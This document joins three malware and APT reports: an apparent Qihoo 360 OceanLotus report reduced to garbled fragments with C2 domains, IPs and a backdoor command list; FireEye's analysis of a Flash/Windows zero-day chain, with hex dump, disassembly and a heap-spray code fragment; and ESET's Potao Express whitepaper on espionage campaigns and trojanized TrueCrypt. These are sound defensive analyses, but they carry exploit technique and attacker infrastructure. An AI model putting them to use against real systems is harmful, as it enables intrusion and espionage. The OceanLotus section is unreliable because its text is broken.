NetcaEKeyClient.exe 41bced8c65c5822d43cadad7d1dc49fd OceanLotus OceanLotus OceanLotus C2 35 IP 19 OceanLotus Whois OceanLotus 2014 2014 10 pad.werzo.net 185.29.8.39 2012/4/17 Mac OS shop.ownpro.net 185.29.8.39 2012/4/17 Mac OS ssl.sfashi.com 176.31.22.77 2012/11/7 kiifd.pozon7.net 173.208.157.117 2013/1/8 Mac OS cdn.libjs.co 62.113.238.135 2013/9/6 sin04s01.listpaz.com 193.169.244.73 2013/11/12 high.expbas.net 91.229.77.179 2014/1/22 2014/2/8 img.fanspeed.net active.soariz.com 193.169.244.73 2014/2/20 zone.mizove.com 193.169.244.73 2014/2/20 dc.jaomao69.info 146.0.43.107 2014/3/14 Downloader cdn.jaomao69.info 146.0.43.107 2014/3/14 2014/4/2 Downloader download.mail-attach.net cnf.flashads.org 128.127.106.243 2014/4/3 cn.flashads.org 128.127.106.243 2014/4/3 Downloader cv.flashads.org 128.127.106.243 2014/4/3 cp.flashads.org 128.127.106.243 2014/4/3 fpdownload.shockwave.f lashads.org 128.127.106.243 2014/4/3 Downloader authen.mail.hairunaw.co m.l.main.userapp.org 192.187.120.45 2014/4/8 Downloader jsquery.net 64.62.174.176 2014/4/8 gs.kroger7.net 167.114.184.117 2014/5/16 autoupdate.adobe.com Adobe OceanLotus OceanLotus Windows MAC Windows OceanLotus Tester OceanLotus Encryptor OceanLotus Cloudrunner OceanLotus MAC OceanLotus OceanLotus Tester OceanLotus Tester 2012 Tester OceanLotus Tester C2 Tester OceanLotus Tester OceanLotus OceanLotus Encryptor Encryptor 2014 Word JPG .exe Encryptor Word .exe Encryptor C2 Office Word Outlook Encryptor Encryptor Word Word 64 Bundle.rdb Bundle.rdb C2 QQ Encryptor 0x00 OceanLotus Cloudrunner Cloudrunner 2014 11 Encryptor Cloudrunner OceanLotus Shellcode Yahoo Skype ThunderBird Foxmail Mailease MS Live Outlook OceanLotus MAC OceanLotus MAC OceanLotus Encryptor OceanLotus MAC Mac OS APT MAC MD5 9831a7bfcf595351206a2ea5679fa65e FlashUpdate.app\Contents\MacOS\EmptyApplication Loader FlashUpdate.app\Contents\Resources\en.lproj\.en_icon FlashUpdate.app\Contents\Resources\en.lproj\.DS_Stores .en_icon .DS_Stores ,EmptyApplication .DS_Stores C2 kiifd.pozon7.net pad.werzo.net shop.ownpro.net ls [path] cd [path] rm cp mv p {info:pid | ppid | name} kill cmd capture cat path [num_byte] download fromURLsavePath MAC /bin/launchctl Parallels OceanLotus OceanLotus OceanLotus OceanLotus OceanLotus OceanLotus APT APT OceanLotus APT FireEye APT APT APT APT 360 0day/Nday APT APT APT APT APT APT OceanLotus APT 29 36 OceanLotus 13 35 OceanLotus APT APT OceanLotus OceanLotus OceanLotus OceanLotus APT APT APT 360 360 360 360 360 NYSE:QIHU 360 360 PC 96% 360 About Qihoo 360 Qihoo 360 Technology Co. Ltd. (NYSE: QIHU) is a leading Internet and mobile platform company in China, measured by user base. By December 2014, Qihoo 360 had about 509 million monthly active Internet users, and over 744 million mobile users. Recognizing security as a fundamental need of all Internet and mobile users, Qihoo 360 built a large user base by offering comprehensive, effective and user-friendly Internet and mobile security products. Qihoo 360 strives to provide services that protect users' computers and mobile devices against malware and malicious websites. SkyEye Labs 2014 360 NYSE:QIHU 360 About SkyEye Labs Established on Jan. 2014, SkyEye Labs is a special team within Qihoo 360 (NYSE:QIHU), focusing on unknown threats research with big data technology. Based on the Qihoo 360 s security big data accumulated for years and data mining technology, SkyEye Labs can achieve the identifying, tracing, monitoring and forewarning of unknown threats on the whole network, so as to provide threat intelligence timely for security detection and defense devices. OceanLotus 360 360 360 360 360 About 360 SkyEye System 360 SkyEye is a new-generation unknown threats awareness system, which can help large organizations like governments, financial institutions, energy enterprises and telecom industries to identify and trace unknown threats. By utilizing automatic data mining and cloud-base correlation analysis, 360 SkyEye is able to foresee divers security threats and push customized threat intelligence to clients. With on-premise appliance, 360 SkyEye also can store and analyze local traffic in depth, to help clients to identify malicious behaviors of unknown threats in early stage. Furthermore, SkyEye is able to locate targeted victims and attack sources as well, to achieve intrusion path tracing eventually. Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia APT28 in Highly-Targeted Attack Threat Research | FireEye Inc fireeye.com Operation RussianDoll: Adobe & Windows Zero Day Exploits LikelyLeveraged by Russia s APT28 in Highly Targeted Attack FireEye Labs recently detected a limited APT campaign exploiting zero day vulnerabilities in Adobe Flash and a brand new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE 2015 3043) in APSB15 06. Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity. Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE 2015 1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in wild exploit innocuous. We have only seen CVE 2015 1701 in use in conjunction with the Adobe Flash exploit for CVE 2015 3043. The Microsoft Security Team is working on a fix for CVE 2015 1701. Exploit Overview The high level flow of the exploit is as follows: User clicks link to attacker controlled website HTML/JS launcher page serves Flash exploit Flash exploit triggers CVE 2015 3043, executes shellcode Shellcode downloads and runs executable payload Executable payload exploits local privilege escalation (CVE 2015 1701) to steal System token The Flash exploit is served from unobfuscated HTML/JS. The launcher page picks one of two Flash files to deliver depending upon the target s platform (Windows 32 versus 64bits). The Flash exploit is mostly unobfuscated with only some light variable name mangling. The attackers relied heavily on the CVE 2014 0515 Metasploit module, which is well documented. It is ROPless, and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API. The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges. It uses the vulnerability to run code from userspace in the context of the kernel, which modifies the attacker s process token to have the same privileges as that of the System process. 2015 3043 Exploit The primary difference between the CVE 2014 0515 metasploit module and this exploit is, obviously, the vulnerability. CVE 2014 0515 exploits a vulnerability in Flash s Shader processing, whereas CVE 2015 3043 exploits a vulnerability in Flash s FLV processing. The culprit FLV file is embedded within AS3 in two chunks, and is reassembled at runtime. Vulnerability A buffer overflow vulnerability exists in Adobe Flash Player (<=17.0.0.134) when parsing malformed FLV objects. Attackers exploiting the vulnerability can corrupt memory and gain remote code execution. In the exploit, the attacker embeds the FLV object directly in the ActionScript code, and plays the video using NetStream class. In memory, it looks like the following: 0000000: 46 4c 56 01 05 00 00 00 09 00 00 00 00 12 00 00 FLV............. 0000010: f4 00 00 00 00 00 00 00 02 00 0a 6f 6e 4d 65 74 ...........onMet 0000020: 61 44 61 74 61 08 00 00 00 0b 00 08 64 75 72 61 aData.......dura 0000030: 74 69 6f 6e 00 40 47 ca 3d 70 a3 d7 0a 00 05 77 tion.@G.=p.....w 0000040: 69 64 74 68 00 40 74 00 00 00 00 00 00 00 06 68 idth.@t........h 0000050: 65 69 67 68 74 00 40 6e 00 00 00 00 00 00 00 0d eight.@n........ 0000060: 76 69 64 65 6f 64 61 74 61 72 61 74 65 00 00 00 videodatarate... 0003b20: 27 6e ee 72 87 1b 47 f7 41 a0 00 00 00 3a 1b 08 'n.r..G.A....:.. 0003b30: 00 04 41 00 00 0f 00 00 00 00 68 ee ee ee ee ee ..A.......h..... 0003b40: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ................ 0003b50: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ................ 0003b60: ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ee ................ Files of the FLV file format contain a sequence of Tag structures. In Flash, these objects are created when parsing FLV Tags: .text:1018ACE9 sub_1018ACE9 proc near CODE XREF: sub_1018BBAC+2Bp .text:1018ACE9 sub_10192797+1A1p ... .text:1018ACE9 .text:1018ACE9 arg_0 = dword ptr 4 .text:1018ACE9 .text:1018ACE9 mov eax, ecx .text:1018ACEB mov ecx, [esp+arg_0] .text:1018ACEF mov dword ptr [eax], offset off_10BA771C .text:1018ACF5 mov dword ptr [eax+24h], 1 .text:1018ACFC and dword ptr [eax+14h], 0 .text:1018AD00 mov [eax+28h], ecx .text:1018AD03 mov byte ptr [eax+20h], 0 .text:1018AD07 retn 4 .text:1018AD07 sub_1018ACE9 endp In the case of this exploit, a Tag structure begins at offset 0x3b2f into the FLV stream that, when parsed, populates the Tag structure as follows: Tag 2: UINT_8 type: 8 UINT_24 datasize: 1089 UINT_24 timestamp: 15 UINT_24 timestamp: 15 UINT_8 timestamphi: 0 UINT_24 streamid: 0 UINT_4 fmt: 6 UINT_2 sr: 2 UINT_1 bits: 0 UINT_1 channels: 0 UBYTE data[1088]: \xee\xee\xee\xee UINT_32 lastsize: 0xeeeeeeee Beginning within the data field, all contents of the FLV stream become 0xEE. Consequently, the data and lastsize fields are mangled, and one final tag technically exists consisting exclusively of 0xEE: Tag 3: UINT_8 type: 0xEE UINT_24 datasize: 0xEEEEEE One can see the datasize field of Tag2 populated from the attacker's FLV stream below: .text:10192943 .text:10192946 .text:10192949 .text:1019294D .text:10192951 .text:10192954 .text:10192956 .text:1019295A .text:1019295D .text:1019295F .text:10192961 .text:10192964 mov eax, [ebx+24h] mov [esi+14h], eax movzx eax, byte ptr [ebx+19h] movzx ecx, byte ptr [ebx+1Ah] shl eax, 8 eax, ecx movzx ecx, byte ptr [ebx+1Bh] shl eax, 8 eax, ecx mov ecx, ebx mov [esi+0Ch], eax 0x441 call sub_1002E2B3 The buffer is allocated with fixed size 0x2000: .text:101A647E .text:101A6483 .text:101A6485 .text:101A627F .text:101A6281 .text:101A6282 .text:101A6287 .text:101A6288 .text:101A6289 push 2000h mov ecx, esi call sub_101A6257 alloc 0x2000 buffer, store in esi+0xDC push 0 push edi 0x2000 call sub_105EBEB0 pop ecx pop ecx mov [esi+0DCh], eax Since the size is controlled by the attacker, it s possible to overflow the fixed size buffer with certain data. A datasize of 0x441 results in a value here of 0x1100 passed to sub_100F88F8, which memcopies 0x2200 bytes in 0x11 chunks of 0x200. The last memcpy overflows the fixed size 0x2000 buffer into a adjacent heap memory. Attackers spray the heap with array of Vector, 0x7fe * 4 + 8 == 0x2000, and create holes of such size, which will be allocated by the said object. while (_local_2 < this._bp35) // _bp35 == 0x2000 this._ok47[_local_2] = new Vector.(this._lb60) // _lb60 == 0x07FE _local_3 = 0x00 while (_local_3 < this._lb60) this._ok47[_local_2][_local_3] = 0x41414141 _local_3++ _local_2 = (_local_2 + 0x01) _local_2 = 0x00 while (_local_2 < this._bp35) this._ok47[_local_2] = null _local_2 = (_local_2 + 0x02) As the previous picture demonstrated, the followed Vector object s length field being overflowed as 0x80007fff, which enables the attacker to read/write arbitrary data within user space. Shellcode Shellcode is passed to the exploit from HTML in flashvars. The shellcode downloads the next stage payload, which is an executable passed in plaintext, to the temp directory with UrlDownloadToFileA, which it then runs with WinExec. Payload & C2 This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families, both described in our APT28 whitepaper. The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor. And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications. In addition, the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor. Like CORESHELL, one of the beacons includes a process listing from the victim host. And like CORESHELL, the new malware attempts to download a second stage executable. One of the C2 locations for the new payload, 87.236.215[.]246, also hosts a suspected APT28 domain icloud[.]com. The same subnet (87.236.215.0/24) also hosts several known or suspected APT28 domains, as seen in Table 1. The target firm is an international government entity in an industry vertical that aligns with known APT28 targeting. 2015 1701 Exploit The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE 2015 1701 in Microsoft Windows. The exploit uses CVE 2015 1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process. Because CVE 2015 3043 is already patched, this remote exploit will not succeed on a fully patched system. If an attacker wanted to exploit CVE 2015 1701, they would first have to be executing code on the victim s machine. Barring authorized access to the victim s machine, the attacker would have to find some other means, such as crafting a new Flash exploit, to deliver a CVE 2015 1701 payload. Microsoft is aware of CVE 2015 1701 and is working on a fix. CVE 2015 1701 does not affect Windows 8 and later. Acknowledgements Thank you to all of the contributors to this blog! The following people in FireEye: Dan Caselden, Yasir Khalid, James Bennett, GenWei Jiang, Corbin Souffrant, Joshua Homan, Jonathan Wrolstad, Chris Phillips, Darien Kindlund Microsoft & Adobe security teams OPERATION POTAO EXPRESS Analysis of a cyber-espionage toolkit Robert Lipovsky, Anton Cherepanov EXECUTIVE SUMMARY The Operation Potao Express whitepaper presents ESET s latest findings based on research into the Win32/Potao malware family. Even though the malware was detected long ago by ESET and a few other anti-virus companies, it hasn t received any public attention since 2011, when the first known samples were detected. Like BlackEnergy (a.k.a. Sandworm, Quedagh), Potao is an example of targeted espionage (APT) malware detected mostly in Ukraine and a number of other CIS countries, including Russia, Georgia and Belarus. Among the victims that we were able to identify, the most notable high-value targets include Ukrainian government and military entities and one of the major Ukrainian news agencies. The malware was also used to spy on members of MMM, a financial pyramid scheme popular in Russia and Ukraine. One of the most interesting discoveries during our Potao investigation and research was the connection to a Russian version of the now discontinued popular open-source encryption software, TrueCrypt. The website truecryptrussia.ru has been serving a Russian language localized version of the TrueCrypt application that also contains a backdoor, in some specific cases. The trojanized version of the application is only served to selected victims which is another indicator of targeting by the malware operators and also one the reasons why the backdoor has gone unnoticed for such a long time. In addition to serving trojanized TrueCrypt, the domain also acted as a C&C server for the backdoor. The connection to Potao lies in the fact that Win32/Potao has been downloaded in a few cases by Win32/FakeTC (ESET detection name of the trojanized encryption software). This paper also gives additional technical details on the Win32/Potao malware family and its spreading mechanisms, and describes the most noteworthy attack campaigns. INTRODUCTION This report gives details on a large number of attacks1 that have been going on for the past 5 years. The (seemingly) unrelated campaigns were all conducted using the Win32/Potao malware family. Similarly to BlackEnergy, the malware family used by the so-called Sandworm group, the Potao malware is a universal modular cyber-espionage toolkit. The attacks where it was employed were of the targeted (APT) type but there were also several cases where we detected the trojan in massspreading campaigns. The countries most targeted by Potao, a malware family most probably of Russian origin, are Ukraine, Russia and Georgia, with some notable high-value targets. Our paper presents a timeline of the various campaigns, focusing on the spreading vectors and then provides a technical analysis of the Win32/Potao trojan. We also analyze Win32/FakeTC a trojanized version of the popular open-source encryption software, TrueCrypt. The listed Indicators of Compromise include sample hashes, domain names, and C&C IP addresses. 1) The title of this whitepaper, Operation Potao Express, is derived from the Win32/Potao malware family the common denominator in all of the described cyberattacks and from websites used in the postal-service campaigns. CONTENTS Executive Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 List of figures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 Attack timeline . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Campaigns in 2011 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 The MMM campaigns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7 A wedding invitation in Georgia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Shift of focus to Ukraine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Postal-service campaigns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Attacks against Ukrainian government and military . . . . . . . . . . . . . . . . . . . . . . . . . 13 TrueCrypt Russia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Georgian campaign . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Win32/Potao Technical Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Infection vectors & persistence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 Win32/Potao Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Plugins overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 C&C communication protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 Spreading via USB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 Win32/Potao anti-reverse engineering techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Win32/FakeTC Fake TrueCrypt Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 Appendix A Comparison with BlackEnergy (the trojan used by the Sandworm / Quedagh group) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 Appendix B Details of Win32/Potao samples & Campaigns . . . . . . . . . . . . . . . . . . . . . . . . 28 Appendix C Indicators of Compromise (IOC) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 SHA1 hashes: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 Domain names: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 IP addresses of C&C servers: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 LIST OF FIGURES Figure 1 Detection statistics for Win32/Potao according to ESET LiveGrid . . . . . . . . . . . . . . . . . . . . . . .5 Figure 2 Timeline of selected Potao campaigns . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .6 Figure 3 Example decoy document from the first Potao campaigns . . . . . . . . . . . . . . . . . . . . . . . . . . .6 Figure 4 Armenian Ministry of Labor and Social Affairs document used as decoy in 2011 campaign . . . . . . . . 7 Figure 5 Decoy document from 1st MMM-related campaign . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Figure 6 Decoy document from another MMM-related campaign . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Figure 7 Warning announcement on Sergei Mavrodi s blog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8 Figure 8 Win32/Potao hosted on Dropbox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .9 Figure 9 Georgian decoy wedding invitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Figure 10 Debug versions of Win32/Potao . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Figure 11 Legitimate Pony Express website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Figure 12 Fraudulent MNTExpress website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Figure 13 Spear-phishing SMS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Figure 14 SMS recipient seeking information on discussion forum . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Figure 15 Legitimate website of Singapore Post s Speedpost service . . . . . . . . . . . . . . . . . . . . . . . . . 12 Figure 16 Fraudulent WorldAirPost.com website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Figure 17 Pop-up message explaining why no Excel document was opened . . . . . . . . . . . . . . . . . . . . 13 Figure 18 Potao droppers with MS Word icons and file names to attract the recipients interest . . . . . . . . . 13 Figure 19 One of the corrupted-looking decoy documents from March 5, 2015 . . . . . . . . . . . . . . . . . . . 13 Figure 20 Website of TrueCrypt Russia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Figure 21 Georgian decoy document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Figure 22 PDB paths containing Potao sapotao and node69 . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 Figure 23 Patch of export function name before dropping the main DLL . . . . . . . . . . . . . . . . . . . . . . . 17 Figure 24 Win32/Potao architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Figure 25 GrandTorg certificate details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Figure 26 Potao key exchange and C&C communication scheme . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Figure 27 Initial POST request sent to C&C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 Figure 28 C&C server response with base64-encoded RSA-2048-signed generated RSA-2048 public key . . . 21 Figure 29 Trick for spreading via USB removable media . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Figure 30 Loading WinAPI functions through hashes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Figure 31 String decryption algorithm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 Figure 32 Win32/FakeTC detections by country since June 2015, according to ESET LiveGrid . . . . . . . . . . . 24 Figure 33 Trojanized Russian TrueCrypt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 ATTACK TIMELINE The Potao malware family is not new: it was first seen used in attacks in 2011. One of the reasons why no comprehensive research on this family has been published until today might be the fact that between 2011 and 2013 the number of detections was relatively low. A significant rise in malware prevalence was observed by ESET LiveGrid in 2014 and 2015 (Figure 1). Russia Ukraine Georgia Belarus 2012 2013 2014 2015 Figure 1 Detection statistics for Win32/Potao according to ESET LiveGrid We omitted detection statistics for 2011 from the chart above because at that time the malware appeared to spread as regular crimeware, i.e. it was spreading in many different countries and these waves were most probably unrelated to the targeted and semi-targeted attacks seen in the subsequent years. Debugging versions detected in 2013 are also excluded from the chart. Many of the Potao campaigns in the past bear the characteristics of a targeted attack (APT). Yet, interestingly, the same malware family was also used in mass infections detected on a large number of seemingly unrelated hosts. While this hybrid approach to malware dissemination might seem strange, it has been observed before. The BlackEnergy trojan, for example, was used in targeted attacks against certain high-profile targets but its spreading went beyond just the few targeted organizations2. Similarly, the outbreak of Stuxnet was the reason why the notorious malware was discovered, although in that case, by mistake. From our analysis of Potao campaigns over the past five years, it seems that the mass-spread infections were used to test and debug the trojan in preparation for upcoming targeted attacks. Similar debug runs of new versions of targeted malware by massively infecting a wide range of test victims is an interesting but not uncommon technique used by professional APT groups. The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives. 2) Either as collateral damage, or for unknown reasons. 1st Potao appearance Georgian campaign Georgian campaign MAY 2011 OCT 2013 JUL 2015 Fake TrueCrypt 1st appearance Grandtorg certificate granted and subsequently revoked APR 2012 AUG 2014 USB Spreading 1st appearance OCT 2013 high prevalence SEP 2014 - 2011 2012 2013 2014 2015 2016 WordAirpost.net JUN 2015 Campaigns APR - JUN 2012 MNTExpress WordAirpost.com MAR 2014 MAR 2015 Postal Service Campaigns Armenian Campaign AUG 2011 debug versions SEP 2013 Attacks against government and military MAR 2015 Shift to focus to Ukraine Figure 2 Timeline of selected Potao campaigns The timeline in Figure 2 lists a selection of Potao attack campaigns and other important events, according to dates when they were first detected by ESET, or by the compilation timestamps in the binaries. A more comprehensive listing of representative campaigns, with their compilation timestamps, unique campaign IDs3 and malware version numbers can be found in Appendix B. s take a closer look at some of the more significant campaigns. Campaigns in 2011 The first Potao campaign that we examined took place in August 2011. It was a mass-spreading campaign4. The binaries used in this campaign contained an encrypted string: GlobalPotao, hence the name of the malware family. The infection technique used by the first campaign, and also by campaigns in the following years, was trivial, yet effective. The Potao trojan-droppers arrived (commonly via phishing emails) at victims systems in the form of executables with the icon of a Microsoft Word document, to trick the users into opening them and thereby running the malware. No software exploits were needed. Apart from the malicious payload, the droppers usually also contained a decoy document that was displayed to the victim.5 Figure 3 Example decoy document from the first Potao campaigns 3) The Campaign IDs are unique text strings used to identify individual infections or infection attempts by the Potao malware operators. The combinations of letters and numbers used can sometimes reveal information about the campaign and targets. For example, a campaign with the Campaign ID perm was detected in the Russian province of Perm, campaigns labeled mmmL and NMMM were most likely related to tracking members of the MMM Ponzi scheme, and so on. 4) The outbreak of early Win32/Potao versions is mentioned in this Cisco alert 5) This technique is a common one, also used by other malware groups and to spread other malware families, for example Korplug (PlugX). Potao droppers in another campaign detected in 2011 were using a decoy document in the Armenian language. Interestingly, the decoy was a legitimate document that belonged to the Armenian Ministry of Labor and Social Affairs. Figure 4 Armenian Ministry of Labor and Social Affairs document used as decoy in 2011 campaign The MMM campaigns MMM is one of the world s largest Ponzi schemes of all time. We won t go into details about the Russian financial pyramid and its author, as these can easily be found online. Binaries in the first detected MMM-related Potao campaign had a compilation timestamp April 27, 2012 and a campaign ID 00km. The social-engineered decoy document pretends to be from someone wanting to join the pyramid scheme: Figure 5 Decoy document from 1st MMM-related campaign A loose translation of the Russian text: I do business in the construction industry. d like to invest about 500k rubles. I want to invest with a highest yield. I hope you will help me. Another campaign detected not long after the first one used decoy documents with random Cyrillic characters. As we discovered later, the use of documents that appear corrupted, because of the garbage text used, seems to be a kind of trademark for this group. Figure 6 Decoy document from another MMM-related campaign The file name in the example above was .exe (Payment report for Kovaleva Alexandra) and this time, the campaign ID actually confirms the connection to the Ponzi scheme: mmmL. On June 19, 2012, Sergei Mavrodi, the inventor of MMM, stated in a blog post that someone trying to impersonate him was sending out spear phishing emails to members of MMM that contained a link to malware hosted on Dropbox. Figure 7 Warning announcement on Sergei Mavrodi s blog Figure 8 Win32/Potao hosted on Dropbox The filenames used were or anketa_i_pravidla (Questionnaire and rules), compilation timestamp June 13, 2012 and campaign ID NMMM. The specific targeting of these campaigns suggests that the operators of the Potao malware toolkit were trying to track or spy on members and/or organizers of the financial pyramid scheme. A wedding invitation in Georgia In 2013 the Potao malware was also detected in Georgia. The file, compiled on October 15, 2013, was named Wedding_invitation.exe and showed the victim a decoy wedding invitation. It is interesting to note that both the file name and the wedding invitation were in English. Figure 9 Georgian decoy wedding invitation Shift of focus to Ukraine Before we observed a rise in Win32/Potao detections in Ukraine in 2014, ESET detected several debug versions of the malware in autumn 2013. We can assume that this was in preparation for the Ukrainian targeted attacks. Figure 10 Debug versions of Win32/Potao6 One of the campaign IDs in these debug waves was krim (Russian for Crimea). Postal-service campaigns In March 2014, the gang behind Potao started using a new infection vector. They created a malicious landing webpage called MNTExpress. The website was apparently inspired by the site of the legitimate Russian postal service Pony Express. Figure 11 Legitimate Pony Express website Figure 12 Fraudulent MNTExpress website 6) The text strings shown in the screenshot are not present in regular release versions of the trojan. Posing as a parcel tracking receipt or an invoice is a very common technique for spreading malware. Instructions to download the malicious bait are usually sent in waves of phishing emails. The Potao gang, however, used a different approach. The targets of their interest were sent an SMS message that contained a link to the fraudulent landing webpage, along with a specific tracking code and the recipient s name. This approach indicates very specific targeting of the attacks, since: The attackers had prior knowledge of the victims full names and their cellphone numbers. The delivered binaries were tailored to the victim. In order to download a sample of Win32/Potao, it was necessary to enter a specific tracking code into the web form. Figure 13 Spear-phishing SMS Figure 14 shows a recipient inquiring about the SMS on a Vkontakte discussion forum: Figure 14 SMS recipient seeking information on discussion forum The same infection scenario was used approximately one year later, in March 2015. This time, the attackers registered the domain WorldAirPost.com and the website design was stolen from Singapore Post. Curiously, the attackers changed the Singapore Post logo to Italy Post Figure 15 Legitimate website of Singapore Post s Speedpost service Figure 16 Fraudulent WorldAirPost.com website At the time of writing the attackers are still active, having registered WorldAirPost.net in June 2015. It is also interesting to note that while the MNTExpress websites contained both Russian and English language mutations, WorldAirPost was only in English. Interestingly, the Potao droppers served in these campaigns were not disguised as Word documents but Excel spreadsheets. Also, instead of popping up a decoy document, a fake excuse dialog box is shown (Figure 17): Figure 17 Pop-up message explaining why no Excel document was opened Attacks against Ukrainian government and military Since March 2015, ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies. The infection vector used in these attack waves was again an executable with a MS Word document icon and this time cleverly chosen filenames to increase the likelihood that the recipient would open the bait: Table of prisoners of Ukrainian armed forces on 05.03.2015 Exempted military persons between 06.09.2014 and 05.03.2015 Exempted from captivity for Chief of the General Staff on 05.03.2015 List of captured during the ATO on 05.03.2015 Figure 18 Potao droppers with MS Word icons and file names to attract the recipients interest7 The topics in the file names correspond to the fact that government and military officials were targeted. The decoy documents displayed once again appeared corrupted. Figure 19 One of the corrupted-looking decoy documents from March 5, 2015 7) The acronym refers to Anti Terrorist Operation in Eastern Ukraine. The same theme was used to spread the BlackEnergy trojan. TrueCrypt Russia During our monitoring of the Potao botnet, we discovered infections that originated from a rather suspiciously-named trojan dropper and an even more suspicious website. We found out that instances of Win32/Potao were being launched by a dropper named TrueCrypt. exe. That wouldn t be too surprising, since malware operators often use file names that resemble legitimate applications, but in this case the dropper was a binary of the actual, now discontinued, TrueCrypt encryption software. Investigating further, we discovered that not only was the Potao malware installed by a trojanized version of TrueCrypt but it had also been downloaded from the website truecryptrussia.ru, which offers downloads of the abovementioned TrueCrypt binaries. Finally, we discovered that the domain in question was also used as a malware C&C server, and thus truecryptrussia.ru being a fraudulent website operated by the attackers seems to be the likelier explanation than merely being a legitimate website compromised by them. To sum it up, the website and software of TrueCrypt Russia was found guilty of: Hosting trojanized (backdoored) versions of the TrueCrypt encryption software. (See the Win32/FakeTC section for a technical analysis of the backdoor.) 2. Hosting the Win32/Potao malware. 3. Acting as a C&C server for abovementioned trojanized TrueCrypt. Note, however, that not every download of the TrueCrypt software from the Russian website is malicious or contains a backdoor. The malicious versions of the software are served only to selected visitors, based on unknown specific criteria. This lends additional evidence to the view that the operation is run by a professional gang that selectively targets their espionage 